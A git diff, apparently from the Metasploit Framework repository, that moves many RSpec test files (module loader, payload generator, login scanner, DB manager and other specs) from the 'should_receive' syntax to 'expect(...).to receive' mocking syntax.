::Timeout::Error.new.to_s diff --git a/spec/lib/msf/core/exploit/http/server_spec.rb b/spec/lib/msf/core/exploit/http/server_spec.rb index 7bf4dbfeda..14b1799bb0 100644 --- a/spec/lib/msf/core/exploit/http/server_spec.rb +++ b/spec/lib/msf/core/exploit/http/server_spec.rb @@ -34,15 +34,15 @@ RSpec.describe Msf::Exploit::Remote::HttpServer do it "should call the ServiceManager's add_resource" do server_module.start_service - mock_service.should_receive(:add_resource) + expect(mock_service).to receive(:add_resource) server_module.add_resource('Path' => 'foo') end it "should re-raise if the resource has already been added" do server_module.start_service - mock_service.should_receive(:add_resource).ordered - mock_service.should_receive(:add_resource).ordered.and_raise(RuntimeError) + expect(mock_service).to receive(:add_resource).ordered + expect(mock_service).to receive(:add_resource).ordered.and_raise(RuntimeError) server_module.add_resource('Path' => 'foo') @@ -65,7 +65,7 @@ RSpec.describe Msf::Exploit::Remote::HttpServer do # The service will add one resource as part of #start_service, so # add that to the number that we added manually - server_module.should_receive(:remove_resource).exactly(resources.count + 1).times + expect(server_module).to receive(:remove_resource).exactly(resources.count + 1).times server_module.cleanup end @@ -75,14 +75,14 @@ RSpec.describe Msf::Exploit::Remote::HttpServer do it "should call the ServiceManager's add_resource" do server_module.start_service - mock_service.should_receive(:add_resource) + expect(mock_service).to receive(:add_resource) server_module.hardcoded_uripath('foo') end it "should re-raise if the resource has already been added" do server_module.start_service - mock_service.should_receive(:add_resource).ordered.and_raise(RuntimeError) + expect(mock_service).to receive(:add_resource).ordered.and_raise(RuntimeError) expect { server_module.hardcoded_uripath('foo') }.to raise_error end diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index 729bd37af5..0288c9d73c 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -259,7 +259,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should call file_changed? with the module_path' do - module_manager.should_receive(:file_changed?).with(module_path).and_return(false) + expect(module_manager).to receive(:file_changed?).with(module_path).and_return(false) subject.load_module(parent_path, type, module_reference_name, :force => false) end @@ -329,7 +329,7 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should call #namespace_module_transaction with the module full name and :reload => true' do subject.stub(:read_module_content => module_content) - subject.should_receive(:namespace_module_transaction).with(module_full_name, hash_including(:reload => true)) + expect(subject).to receive(:namespace_module_transaction).with(module_full_name, hash_including(:reload => true)) subject.load_module(parent_path, type, module_reference_name) end @@ -346,7 +346,7 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should call #read_module_content to get the module content so that #read_module_content can be overridden to change loading behavior' do module_manager.stub(:on_module_load) - subject.should_receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) + expect(subject).to receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) subject.load_module(parent_path, type, module_reference_name).should be_truthy end @@ -355,7 +355,7 @@ RSpec.describe Msf::Modules::Loader::Base do module_manager.stub(:on_module_load) # if the module eval error includes the module_path then the module_path was passed along correctly - subject.should_receive(:elog).with(/#{Regexp.escape(module_path)}/) + expect(subject).to receive(:elog).with(/#{Regexp.escape(module_path)}/) subject.load_module(parent_path, type, module_reference_name, :reload => true).should be_falsey end @@ -429,7 +429,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should record the load error using the original error' do - subject.should_receive(:load_error).with(module_path, error) + expect(subject).to receive(:load_error).with(module_path, error) subject.load_module(parent_path, type, module_reference_name).should be_falsey end end @@ -460,7 +460,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should record the load error using the Msf::Modules::VersionCompatibilityError' do - subject.should_receive(:load_error).with(module_path, version_compatibility_error) + expect(subject).to receive(:load_error).with(module_path, version_compatibility_error) subject.load_module(parent_path, type, module_reference_name).should be_falsey end end @@ -493,7 +493,7 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should check for version compatibility' do module_manager.stub(:on_module_load) - @namespace_module.should_receive(:version_compatible!).with(module_path, module_reference_name) + expect(@namespace_module).to receive(:version_compatible!).with(module_path, module_reference_name) subject.load_module(parent_path, type, module_reference_name) end @@ -523,7 +523,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should record the load error' do - subject.should_receive(:load_error).with(module_path, version_compatibility_error) + expect(subject).to receive(:load_error).with(module_path, version_compatibility_error) subject.load_module(parent_path, type, module_reference_name).should be_falsey end @@ -556,7 +556,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should record load error' do - subject.should_receive( + expect(subject).to receive( :load_error ).with( module_path, @@ -586,7 +586,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should check if it is usable' do - subject.should_receive(:usable?).with(metasploit_class).and_return(true) + expect(subject).to receive(:usable?).with(metasploit_class).and_return(true) subject.load_module(parent_path, type, module_reference_name).should be_truthy end @@ -596,7 +596,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should log information' do - subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_1) + expect(subject).to receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_1) subject.load_module(parent_path, type, module_reference_name).should be_falsey end @@ -618,7 +618,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should log load information' do - subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_2) + expect(subject).to receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_2) subject.load_module(parent_path, type, module_reference_name).should be_truthy end @@ -636,7 +636,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should call module_manager.on_module_load' do - module_manager.should_receive(:on_module_load) + expect(module_manager).to receive(:on_module_load) subject.load_module(parent_path, type, module_reference_name).should be_truthy end @@ -719,7 +719,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should wrap NAMESPACE_MODULE_CONTENT with module declarations matching namespace_module_names' do - Object.should_receive( + expect(Object).to receive( :module_eval ).with( "module #{namespace_module_names[0]}\n" \ @@ -741,7 +741,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it "should set the module_eval path to the loader's __FILE__" do - Object.should_receive( + expect(Object).to receive( :module_eval ).with( anything, @@ -757,7 +757,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should set the module_eval line to compensate for the wrapping module declarations' do - Object.should_receive( + expect(Object).to receive( :module_eval ).with( anything, @@ -775,7 +775,7 @@ RSpec.describe Msf::Modules::Loader::Base do it "should set the namespace_module's module loader to itself" do namespace_module = double('Namespace Module') - namespace_module.should_receive(:loader=).with(subject) + expect(namespace_module).to receive(:loader=).with(subject) subject.stub(:current_module => namespace_module) @@ -949,7 +949,7 @@ RSpec.describe Msf::Modules::Loader::Base do context 'with :reload => false' do it 'should log an error' do - subject.should_receive(:elog).with(/Reloading.*when :reload => false/) + expect(subject).to receive(:elog).with(/Reloading.*when :reload => false/) subject.send(:namespace_module_transaction, module_full_name, :reload => false) do |namespace_module| true @@ -1320,7 +1320,7 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should delegate to the class method' do type = Msf::MODULE_EXPLOIT - described_class.should_receive(:typed_path).with(type, module_reference_name) + expect(described_class).to receive(:typed_path).with(type, module_reference_name) subject.send(:typed_path, type, module_reference_name) end end @@ -1358,7 +1358,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should log error' do - subject.should_receive(:elog).with(/#{error}/) + expect(subject).to receive(:elog).with(/#{error}/) subject.send(:usable?, metasploit_class) end diff --git a/spec/lib/msf/core/modules/loader/directory_spec.rb b/spec/lib/msf/core/modules/loader/directory_spec.rb index 493400d3fb..e87d7929fb 100644 --- a/spec/lib/msf/core/modules/loader/directory_spec.rb +++ b/spec/lib/msf/core/modules/loader/directory_spec.rb @@ -139,7 +139,7 @@ RSpec.describe Msf::Modules::Loader::Directory do # this ensures that the File.exist?(module_path) checks are checking the same path as the code under test it 'should attempt to open the expected module_path' do - File.should_receive(:open).with(module_path, 'rb') + expect(File).to receive(:open).with(module_path, 'rb') File.exist?(module_path).should be_falsey subject.send(:read_module_content, parent_path, type, module_reference_name) @@ -156,7 +156,7 @@ RSpec.describe Msf::Modules::Loader::Directory do end it 'should record the load error' do - subject.should_receive(:load_error).with(module_path, kind_of(Errno::ENOENT)) + expect(subject).to receive(:load_error).with(module_path, kind_of(Errno::ENOENT)) expect(subject.send(:read_module_content, parent_path, type, module_reference_name)).to eq '' end diff --git a/spec/lib/msf/core/modules/namespace_spec.rb b/spec/lib/msf/core/modules/namespace_spec.rb index ebb61f47a3..39f370b828 100644 --- a/spec/lib/msf/core/modules/namespace_spec.rb +++ b/spec/lib/msf/core/modules/namespace_spec.rb @@ -118,7 +118,7 @@ RSpec.describe Msf::Modules::Namespace do context 'metasploit_class!' do it 'should call metasploit_class' do - subject.should_receive(:metasploit_class).and_return(Class.new) + expect(subject).to receive(:metasploit_class).and_return(Class.new) subject.metasploit_class!(module_path, module_reference_name) end diff --git a/spec/lib/msf/core/option_container_spec.rb b/spec/lib/msf/core/option_container_spec.rb index 0c92f54e88..46b14c0965 100644 --- a/spec/lib/msf/core/option_container_spec.rb +++ b/spec/lib/msf/core/option_container_spec.rb @@ -11,9 +11,9 @@ RSpec.describe Msf::OptionContainer do foo_inst.stub(:owner=) foo_class = double("opt_class") - foo_class.should_receive(:new).and_return(foo_inst) + expect(foo_class).to receive(:new).and_return(foo_inst) - foo_inst.should_receive(:name).and_return("thing") + expect(foo_inst).to receive(:name).and_return("thing") subject = described_class.new({ 'thing' => [ foo_class, true, nil, false ] diff --git a/spec/lib/msf/core/payload_generator_spec.rb b/spec/lib/msf/core/payload_generator_spec.rb index 1eb6427328..e37300a4f5 100644 --- a/spec/lib/msf/core/payload_generator_spec.rb +++ b/spec/lib/msf/core/payload_generator_spec.rb @@ -503,7 +503,7 @@ RSpec.describe Msf::PayloadGenerator do context '#run_encoder' do it 'should call the encoder a number of times equal to the iterations' do - encoder_module.should_receive(:encode).exactly(iterations).times.and_return(shellcode) + expect(encoder_module).to receive(:encode).exactly(iterations).times.and_return(shellcode) payload_generator.run_encoder(encoder_module, shellcode) end @@ -529,7 +529,7 @@ RSpec.describe Msf::PayloadGenerator do let(:format) { 'c' } it 'applies the appropriate transform format' do - ::Msf::Simple::Buffer.should_receive(:transform).with(shellcode, format, var_name) + expect(::Msf::Simple::Buffer).to receive(:transform).with(shellcode, format, var_name) payload_generator.format_payload(shellcode) end end @@ -538,7 +538,7 @@ RSpec.describe Msf::PayloadGenerator do let(:format) { 'exe' } it 'applies the appropriate executable format' do - ::Msf::Util::EXE.should_receive(:to_executable_fmt).with(framework, arch, kind_of(payload_generator.platform_list.class), shellcode, format, payload_generator.exe_options) + expect(::Msf::Util::EXE).to receive(:to_executable_fmt).with(framework, arch, kind_of(payload_generator.platform_list.class), shellcode, format, payload_generator.exe_options) payload_generator.format_payload(shellcode) end end @@ -563,7 +563,7 @@ RSpec.describe Msf::PayloadGenerator do it 'calls the generate_war on the payload' do framework.stub_chain(:payloads, :keys).and_return [payload_reference_name] framework.stub_chain(:payloads, :create).and_return(payload_module) - payload_module.should_receive(:generate_war).and_call_original + expect(payload_module).to receive(:generate_war).and_call_original payload_generator.generate_java_payload end end @@ -591,7 +591,7 @@ RSpec.describe Msf::PayloadGenerator do it 'calls the generate_jar on the payload' do framework.stub_chain(:payloads, :keys).and_return [payload_reference_name] framework.stub_chain(:payloads, :create).and_return(payload_module) - payload_module.should_receive(:generate_jar).and_call_original + expect(payload_module).to receive(:generate_jar).and_call_original payload_generator.generate_java_payload end end @@ -610,7 +610,7 @@ RSpec.describe Msf::PayloadGenerator do it 'calls #generate' do framework.stub_chain(:payloads, :keys).and_return [payload_reference_name] framework.stub_chain(:payloads, :create).and_return(payload_module) - payload_module.should_receive(:generate).and_call_original + expect(payload_module).to receive(:generate).and_call_original payload_generator.generate_java_payload end end @@ -631,11 +631,11 @@ RSpec.describe Msf::PayloadGenerator do context '#generate_payload' do it 'calls each step of the process' do - payload_generator.should_receive(:generate_raw_payload).and_call_original - payload_generator.should_receive(:add_shellcode).and_call_original - payload_generator.should_receive(:encode_payload).and_call_original - payload_generator.should_receive(:prepend_nops).and_call_original - payload_generator.should_receive(:format_payload).and_call_original + expect(payload_generator).to receive(:generate_raw_payload).and_call_original + expect(payload_generator).to receive(:add_shellcode).and_call_original + expect(payload_generator).to receive(:encode_payload).and_call_original + expect(payload_generator).to receive(:prepend_nops).and_call_original + expect(payload_generator).to receive(:format_payload).and_call_original payload_generator.generate_payload end @@ -652,7 +652,7 @@ RSpec.describe Msf::PayloadGenerator do } it 'calls generate_java_payload' do - payload_generator.should_receive(:generate_java_payload).and_call_original + expect(payload_generator).to receive(:generate_java_payload).and_call_original payload_generator.generate_payload end end diff --git a/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb index 0789f6fe9c..f115ff49b9 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb @@ -22,13 +22,13 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Core do end it 'should generate Matching Modules table' do - core.should_receive(:generate_module_table).with('Matching Modules').and_call_original + expect(core).to receive(:generate_module_table).with('Matching Modules').and_call_original search_modules_sql end it 'should call Msf::DBManager#search_modules' do - db_manager.should_receive(:search_modules).with(match).and_return([]) + expect(db_manager).to receive(:search_modules).with(match).and_return([]) search_modules_sql end diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index c26bb01ed4..1cf83cffcf 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -123,17 +123,17 @@ RSpec.describe Rex::Proto::Http::Client do conn.stub(:close) conn.stub(:closed? => false) - conn.should_receive(:get_once).and_return(first_response, authed_response) - conn.should_receive(:put) do |str_request| + expect(conn).to receive(:get_once).and_return(first_response, authed_response) + expect(conn).to receive(:put) do |str_request| str_request.should_not include("Authorization") nil end - conn.should_receive(:put) do |str_request| + expect(conn).to receive(:put) do |str_request| str_request.should include("Authorization") nil end - cli.should_receive(:_send_recv).twice.and_call_original + expect(cli).to receive(:_send_recv).twice.and_call_original Rex::Socket::Tcp.stub(:create).and_return(conn) diff --git a/spec/msfupdate_spec.rb b/spec/msfupdate_spec.rb index 11eaa8bab7..7375f36c31 100644 --- a/spec/msfupdate_spec.rb +++ b/spec/msfupdate_spec.rb @@ -174,13 +174,13 @@ RSpec.describe Msfupdate do let(:args) { [] } it "calls validate_args" do - subject.should_receive(:validate_args) { true } + expect(subject).to receive(:validate_args) { true } subject.run! end it "exits if arguments are invalid" do subject.stub(:validate_args) { false } - subject.should_receive(:maybe_wait_and_exit).and_raise(SystemExit) + expect(subject).to receive(:maybe_wait_and_exit).and_raise(SystemExit) expect { subject.run! }.to raise_error(SystemExit) end end @@ -220,7 +220,7 @@ RSpec.describe Msfupdate do context "#run!" do it "calls update_apt!" do - subject.should_receive(:update_apt!) + expect(subject).to receive(:update_apt!) subject.run! end it "does not call update_binary_install!" do @@ -277,7 +277,7 @@ RSpec.describe Msfupdate do subject.run! end it "calls update_binary_install!" do - subject.should_receive(:update_binary_install!) + expect(subject).to receive(:update_binary_install!) subject.run! end it "does not call update_git!" do @@ -335,7 +335,7 @@ RSpec.describe Msfupdate do subject.run! end it "calls update_git!" do - subject.should_receive(:update_git!) + expect(subject).to receive(:update_git!) subject.run! end end diff --git a/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb b/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb index 43463c68b7..66340ed62b 100644 --- a/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb +++ b/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb @@ -258,26 +258,26 @@ shared_examples_for 'Metasploit::Framework::LoginScanner::Base' do | opts | it 'calls valid! before running' do my_scanner = login_scanner - my_scanner.should_receive(:valid!) - my_scanner.should_receive(:attempt_login).at_least(:once).and_return success + expect(my_scanner).to receive(:valid!) + expect(my_scanner).to receive(:attempt_login).at_least(:once).and_return success my_scanner.scan! end it 'should stop trying a user after success' do my_scanner = login_scanner - my_scanner.should_receive(:valid!) - my_scanner.should_receive(:attempt_login).once.with(pub_blank).and_return failure_blank - my_scanner.should_receive(:attempt_login).once.with(pub_pub).and_return success + expect(my_scanner).to receive(:valid!) + expect(my_scanner).to receive(:attempt_login).once.with(pub_blank).and_return failure_blank + expect(my_scanner).to receive(:attempt_login).once.with(pub_pub).and_return success my_scanner.should_not_receive(:attempt_login) my_scanner.scan! end it 'call attempt_login once for each cred_detail' do my_scanner = login_scanner - my_scanner.should_receive(:valid!) - my_scanner.should_receive(:attempt_login).once.with(pub_blank).and_return failure_blank - my_scanner.should_receive(:attempt_login).once.with(pub_pub).and_return failure_blank - my_scanner.should_receive(:attempt_login).once.with(pub_pri).and_return failure_blank + expect(my_scanner).to receive(:valid!) + expect(my_scanner).to receive(:attempt_login).once.with(pub_blank).and_return failure_blank + expect(my_scanner).to receive(:attempt_login).once.with(pub_pub).and_return failure_blank + expect(my_scanner).to receive(:attempt_login).once.with(pub_pri).and_return failure_blank my_scanner.scan! end @@ -292,9 +292,9 @@ shared_examples_for 'Metasploit::Framework::LoginScanner::Base' do | opts | it 'stops after the first successful login' do my_scanner = login_scanner - my_scanner.should_receive(:valid!) - my_scanner.should_receive(:attempt_login).once.with(pub_blank).and_return failure_blank - my_scanner.should_receive(:attempt_login).once.with(pub_pub).and_return success + expect(my_scanner).to receive(:valid!) + expect(my_scanner).to receive(:attempt_login).once.with(pub_blank).and_return failure_blank + expect(my_scanner).to receive(:attempt_login).once.with(pub_pub).and_return success my_scanner.should_not_receive(:attempt_login).with(pub_pri) my_scanner.scan! end diff --git a/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb b/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb index 9c17c08cb9..63160fc73d 100644 --- a/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb +++ b/spec/support/shared/examples/msf/db_manager/exploit_attempt.rb @@ -83,11 +83,11 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end it "should call create_match_result_for_vuln" do - db_manager.should_receive(:create_match_result_for_vuln) + expect(db_manager).to receive(:create_match_result_for_vuln) end it "should call create_match_result" do - db_manager.should_receive(:create_match_result) + expect(db_manager).to receive(:create_match_result) end it "should not call create_match_for_vuln" do @@ -168,7 +168,7 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end it "should call create_match_result_for_vuln" do - db_manager.should_receive(:create_match_result_for_vuln) + expect(db_manager).to receive(:create_match_result_for_vuln) end it "should not call create_match_result" do @@ -303,11 +303,11 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end it "should call create_match_result_for_vuln" do - db_manager.should_receive(:create_match_result_for_vuln) + expect(db_manager).to receive(:create_match_result_for_vuln) end it "should call create_match_result" do - db_manager.should_receive(:create_match_result) + expect(db_manager).to receive(:create_match_result) end it "should not call create_match_for_vuln" do @@ -388,7 +388,7 @@ shared_examples_for 'Msf::DBManager::ExploitAttempt' do end it "should call create_match_result_for_vuln" do - db_manager.should_receive(:create_match_result_for_vuln) + expect(db_manager).to receive(:create_match_result_for_vuln) end it "should not call create_match_result" do diff --git a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb index 37b2dbcca4..82f9e00313 100644 --- a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb +++ b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml.rb @@ -13,7 +13,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end def with_info - db_manager.should_receive(:import_msf_web_element) do |*args, &specialization| + expect(db_manager).to receive(:import_msf_web_element) do |*args, &specialization| info = specialization.call(element, options) yield info @@ -333,7 +333,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should pass :workspace to report_web_<:type>' do - db_manager.should_receive( + expect(db_manager).to receive( "report_web_#{type}" ).with( hash_including(:workspace => workspace) @@ -353,13 +353,13 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should call Msf::DBManager#workspace' do - db_manager.should_receive(:workspace).and_call_original + expect(db_manager).to receive(:workspace).and_call_original import_msf_web_element end it 'should pass Msf::DBManager#workspace to report_web_<:type>' do - db_manager.should_receive( + expect(db_manager).to receive( "report_web_#{type}" ).with( hash_including(:workspace => workspace) @@ -371,7 +371,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do it 'should import all elements in MSF_WEB_TEXT_ELEMENT_NAMES with #import_msf_text_element' do msf_web_text_element_names.each do |name| - db_manager.should_receive( + expect(db_manager).to receive( :import_msf_text_element ).with( element, @@ -394,7 +394,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should pass returned Hash as part of Hash passed to report_web_<:type' do - db_manager.should_receive( + expect(db_manager).to receive( "report_web_#{type}" ).with( hash_including(returned_hash) @@ -413,7 +413,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should pass false for :ssl to report_web_<:type>' do - db_manager.should_receive( + expect(db_manager).to receive( "report_web_#{type}" ).with( hash_including(:ssl => false) @@ -438,7 +438,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should pass true for :ssl to report_web_<:type>' do - db_manager.should_receive( + expect(db_manager).to receive( "report_web_#{type}" ).with( hash_including(:ssl => true) @@ -454,7 +454,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should pass false for :ssl to report_web_<:type>' do - db_manager.should_receive( + expect(db_manager).to receive( "report_web_#{type}" ).with( hash_including(:ssl => false) @@ -495,7 +495,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should pass return Hash to report_web_<:type>' do - db_manager.should_receive( + expect(db_manager).to receive( "report_web_#{type}" ).with( hash_including(returned_hash) @@ -713,7 +713,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should be a Hash' do - db_manager.should_receive(:import_msf_web_element) do |*args, &specialization| + expect(db_manager).to receive(:import_msf_web_element) do |*args, &specialization| info = specialization.call(element, options) info.should be_a Hash @@ -1018,7 +1018,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should call #check_msf_xml_version!' do - db_manager.should_receive(:check_msf_xml_version!).and_call_original + expect(db_manager).to receive(:check_msf_xml_version!).and_call_original import_msf_xml end @@ -1056,7 +1056,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should call #import_msf_web_form_element' do - db_manager.should_receive(:import_msf_web_form_element).and_call_original + expect(db_manager).to receive(:import_msf_web_form_element).and_call_original import_msf_xml end @@ -1107,7 +1107,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should call #import_msf_web_page_element' do - db_manager.should_receive(:import_msf_web_page_element).and_call_original + expect(db_manager).to receive(:import_msf_web_page_element).and_call_original import_msf_xml end @@ -1153,7 +1153,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do end it 'should call #import_msf_web_vuln_element' do - db_manager.should_receive(:import_msf_web_vuln_element).and_call_original + expect(db_manager).to receive(:import_msf_web_vuln_element).and_call_original import_msf_xml end diff --git a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml/import_msf_web_element_specialization.rb b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml/import_msf_web_element_specialization.rb index 711d92f075..72f259ffb3 100644 --- a/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml/import_msf_web_element_specialization.rb +++ b/spec/support/shared/examples/msf/db_manager/import/metasploit_framework/xml/import_msf_web_element_specialization.rb @@ -1,13 +1,13 @@ # -*- coding:binary -*- shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML#import_msf_web_element specialization' do it 'should call #import_msf_web_element with element' do - db_manager.should_receive(:import_msf_web_element).with(element, anything) + expect(db_manager).to receive(:import_msf_web_element).with(element, anything) subject end it 'should call #import_msf_web_element with :allow_yaml and :workspace' do - db_manager.should_receive(:import_msf_web_element).with( + expect(db_manager).to receive(:import_msf_web_element).with( anything, hash_including( :allow_yaml => allow_yaml, @@ -19,7 +19,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML#import_msf end it 'should call #import_msf_web_element with :type' do - db_manager.should_receive(:import_msf_web_element).with( + expect(db_manager).to receive(:import_msf_web_element).with( anything, hash_including( :type => type @@ -30,7 +30,7 @@ shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML#import_msf end it 'should pass block to #import_msf_web_element as :notifier' do - db_manager.should_receive( + expect(db_manager).to receive( :import_msf_web_element ).with( anything, diff --git a/spec/support/shared/examples/msf/db_manager/migration.rb b/spec/support/shared/examples/msf/db_manager/migration.rb index 48441286bf..1a2432f046 100644 --- a/spec/support/shared/examples/msf/db_manager/migration.rb +++ b/spec/support/shared/examples/msf/db_manager/migration.rb @@ -26,7 +26,7 @@ shared_examples_for 'Msf::DBManager::Migration' do end it 'should call ActiveRecord::Migrator.migrate' do - ActiveRecord::Migrator.should_receive(:migrate).with( + expect(ActiveRecord::Migrator).to receive(:migrate).with( ActiveRecord::Migrator.migrations_paths ) @@ -41,7 +41,7 @@ shared_examples_for 'Msf::DBManager::Migration' do end it 'should reset the column information' do - db_manager.should_receive(:reset_column_information) + expect(db_manager).to receive(:reset_column_information) migrate end @@ -66,7 +66,7 @@ shared_examples_for 'Msf::DBManager::Migration' do end it 'should log error message at error level' do - db_manager.should_receive(:elog) do |error_message| + expect(db_manager).to receive(:elog) do |error_message| error_message.should include(error.to_s) end @@ -74,7 +74,7 @@ shared_examples_for 'Msf::DBManager::Migration' do end it 'should log error backtrace at debug level' do - db_manager.should_receive(:dlog) do |debug_message| + expect(db_manager).to receive(:dlog) do |debug_message| debug_message.should include('Call stack') end @@ -93,7 +93,7 @@ shared_examples_for 'Msf::DBManager::Migration' do end it 'should set ActiveRecord::Migration.verbose to false' do - ActiveRecord::Migration.should_receive(:verbose=).with(verbose) + expect(ActiveRecord::Migration).to receive(:verbose=).with(verbose) migrate end @@ -105,7 +105,7 @@ shared_examples_for 'Msf::DBManager::Migration' do end it 'should set ActiveRecord::Migration.verbose to true' do - ActiveRecord::Migration.should_receive(:verbose=).with(verbose) + expect(ActiveRecord::Migration).to receive(:verbose=).with(verbose) migrate end @@ -114,7 +114,7 @@ shared_examples_for 'Msf::DBManager::Migration' do context 'without verbose' do it 'should set ActiveRecord::Migration.verbose to false' do - ActiveRecord::Migration.should_receive(:verbose=).with(false) + expect(ActiveRecord::Migration).to receive(:verbose=).with(false) db_manager.migrate end @@ -132,7 +132,7 @@ shared_examples_for 'Msf::DBManager::Migration' do end it 'should use ActiveRecord::Base.descendants to find both direct and indirect subclasses' do - ActiveRecord::Base.should_receive(:descendants).and_return([]) + expect(ActiveRecord::Base).to receive(:descendants).and_return([]) reset_column_information end @@ -147,7 +147,7 @@ shared_examples_for 'Msf::DBManager::Migration' do ActiveRecord::Base.stub(:descendants => descendants) descendants.each do |descendant| - descendant.should_receive(:reset_column_information) + expect(descendant).to receive(:reset_column_information) end reset_column_information diff --git a/spec/support/shared/examples/msf/db_manager/module_cache.rb b/spec/support/shared/examples/msf/db_manager/module_cache.rb index 1e86e1a47e..ae37404c82 100644 --- a/spec/support/shared/examples/msf/db_manager/module_cache.rb +++ b/spec/support/shared/examples/msf/db_manager/module_cache.rb @@ -585,22 +585,22 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should set framework.cache_thread to current thread and then nil' do - framework.should_receive(:cache_thread=).with(Thread.current).ordered - framework.should_receive(:cache_thread=).with(nil).ordered + expect(framework).to receive(:cache_thread=).with(Thread.current).ordered + expect(framework).to receive(:cache_thread=).with(nil).ordered update_all_module_details end it 'should set modules_cached to false and then true' do - db_manager.should_receive(:modules_cached=).with(false).ordered - db_manager.should_receive(:modules_cached=).with(true).ordered + expect(db_manager).to receive(:modules_cached=).with(false).ordered + expect(db_manager).to receive(:modules_cached=).with(true).ordered update_all_module_details end it 'should set modules_caching to true and then false' do - db_manager.should_receive(:modules_caching=).with(true).ordered - db_manager.should_receive(:modules_caching=).with(false).ordered + expect(db_manager).to receive(:modules_caching=).with(true).ordered + expect(db_manager).to receive(:modules_caching=).with(false).ordered update_all_module_details end @@ -780,7 +780,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should call module_to_details_hash to get Mdm::Module::Detail attributes and association attributes' do - db_manager.should_receive(:module_to_details_hash).and_call_original + expect(db_manager).to receive(:module_to_details_hash).and_call_original update_module_details end diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index ef7e8956c1..e93387d2bf 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -154,13 +154,13 @@ shared_examples_for 'Msf::DBManager::Session' do context 'without :workspace' do it 'should find workspace from session' do - db_manager.should_receive(:find_workspace).with(session.workspace).and_call_original + expect(db_manager).to receive(:find_workspace).with(session.workspace).and_call_original report_session end it 'should pass session.workspace to #find_or_create_host' do - db_manager.should_receive(:find_or_create_host).with( + expect(db_manager).to receive(:find_or_create_host).with( hash_including( :workspace => session_workspace ) @@ -177,7 +177,7 @@ shared_examples_for 'Msf::DBManager::Session' do # stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere. 